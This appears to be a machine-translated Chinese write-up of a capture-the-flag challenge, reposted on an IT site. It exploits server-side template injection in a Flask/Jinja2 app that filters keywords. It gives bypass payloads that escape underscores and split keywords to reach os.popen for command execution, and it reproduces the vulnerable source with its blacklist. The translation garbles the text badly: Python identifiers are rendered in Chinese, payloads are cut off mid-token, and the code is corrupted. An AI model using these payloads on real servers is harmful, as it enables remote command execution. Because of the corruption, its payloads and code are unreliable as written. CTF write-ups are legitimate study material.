你就是我的master嘛,我再问一遍你就是我的master吗

  你就是我的master嘛,我再问一遍你就是我的master吗

  周末之前ssti的题直接被在线有效载荷改了。因为环境的不同,我自己经历了这个过程,我在白嫖很不习惯,哈哈。

  页面的内容随着name参数的值而变化。根据容器名猜测是注入到flask/jinjia2框架模板中,验证为模板注入。

  打嗝模糊下过滤了哪些特殊符号?还会过滤诸如class base mro config Args init global等常见关键字。

   Just Bypass 单引号替换为双引号,_下划线替换为十六进制\x5f。点符号和关键字通过拼接被过滤和绕过,例如[“cla”和“ss”]

  ?name={ {()[ \ x5F \ x 5 fcla ss \ x5F \ x5F ][ \ x5F \ x5fba ses \ x5F \ x5F ][0][ \ x5F \ x5F subc lasses \ x5F \ x5F ]()} }

  寻找他的基类(object)的子类,没有读不到的文件(python3中没有file类),通过warnings.catch_warnings类选择执行命令。

  _ _子类_ _()。索引(警告。catch _ warnings)本来可以直接通过index获得这个类的位置,但是这个过滤器太多了。粗略估计位置搜索对比一下,位置是167。

  得到位置后,用__global__看看这个模块有哪些全局函数。

  ?name={ {()[ \ x5F \ x5fcla ss \ x5F \ x5F ][ \ x5F \ x5fba ses \ x5F \ x5F ][0][ \ x5F \ x5F subc lasses \ x5F \ x5F ]()[166][ \ x5F \ x5F fini t \ x5F \ x5F ][ \ x5F \ x5F GLO bals \ x5F \ x5F ][ keys ]()} }

  可以直接在python中运行一些函数,比如int(),list()等等。这些功能可以在__builtins__获得

  为了执行命令,需要调用os模块。

  ?name={ {()[ \ x5F \ x5fcla ss \ x5F \ x5F ][ \ x5F \ x5fba ses \ x5F \ x5F ][0][ \ x5F \ x5F subc lasses \ x5F \ x5F ]()[166][ \ x5F \ x5F fini t \ x5F \ x5F ][ \ x5F \ x5F GLO bals \ x5F \ x5F ][ \ x5F \ x5F build tins \ x5x

  Python3.6版本3.6使用系统函数执行命令。

  ?name={ {()[ \ x5F \ x5fcla ss \ x5F \ x5F ][ \ x5F \ x5fba ses \ x5F \ x5F ][0][ \ x5F \ x5F subc lasses \ x5F \ x5F ]()[166][ \ x5F \ x5F fini t \ x5F \ x5F ][ \ x5F \ x5F GLO bals \ x5F \ x5F ][ \ x5F \ x5F build tins \ x5x

  成功执行,但系统功能没有回音。本来想打个shell或者curl给vps发数据。经过测试,vps可以接收可以连接到外部网络的数据,但是过滤器太多,无法使用参数。

  好在popen(dir )。read()有回显。

  最终有效载荷:

  ?name={ {()[ \ x5F \ x5fcla ss \ x5F \ x5F ][ \ x5F \ x5fba ses \ x5F \ x5F ][0][ \ x5F \ x5F subc lasses \ x5F \ x5F ]()[166][ \ x5F \ x5F fini t \ x5F \ x5F ][ \ x5F \ x5F GLO bals \ x5F \ x5F ][ \ x5F \ x5F build tins \ x5x

  移除旁路的部分实际上如下:

  []._ _ class _ _。_ _ base _ _。_ _子类_ _ () [166]。_ _ init _ _。_ _ globals _[ _ _ buildings _ _ ][ _ _ import _ _ ]( OS

  从jinja2导入template app=Flask(_ _ name _ _)@ app . route(/)def index():name=request . args . get( name , guest) blacklist=[% ,-,:, , class , base , mro , _ , config , args , init , global ,., \ , req , , attr ,Get ]for I in black list:if I in name:return template(你真是个可爱的小姑娘)。render() t=Template(早上好,工人br/你是我的‘名字’吗?br/!- ?name=master -)返回t . render()if _ _ name _ _= _ _ main _ _ :app . run()

郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。

留言与评论(共有 条评论)
   
验证码: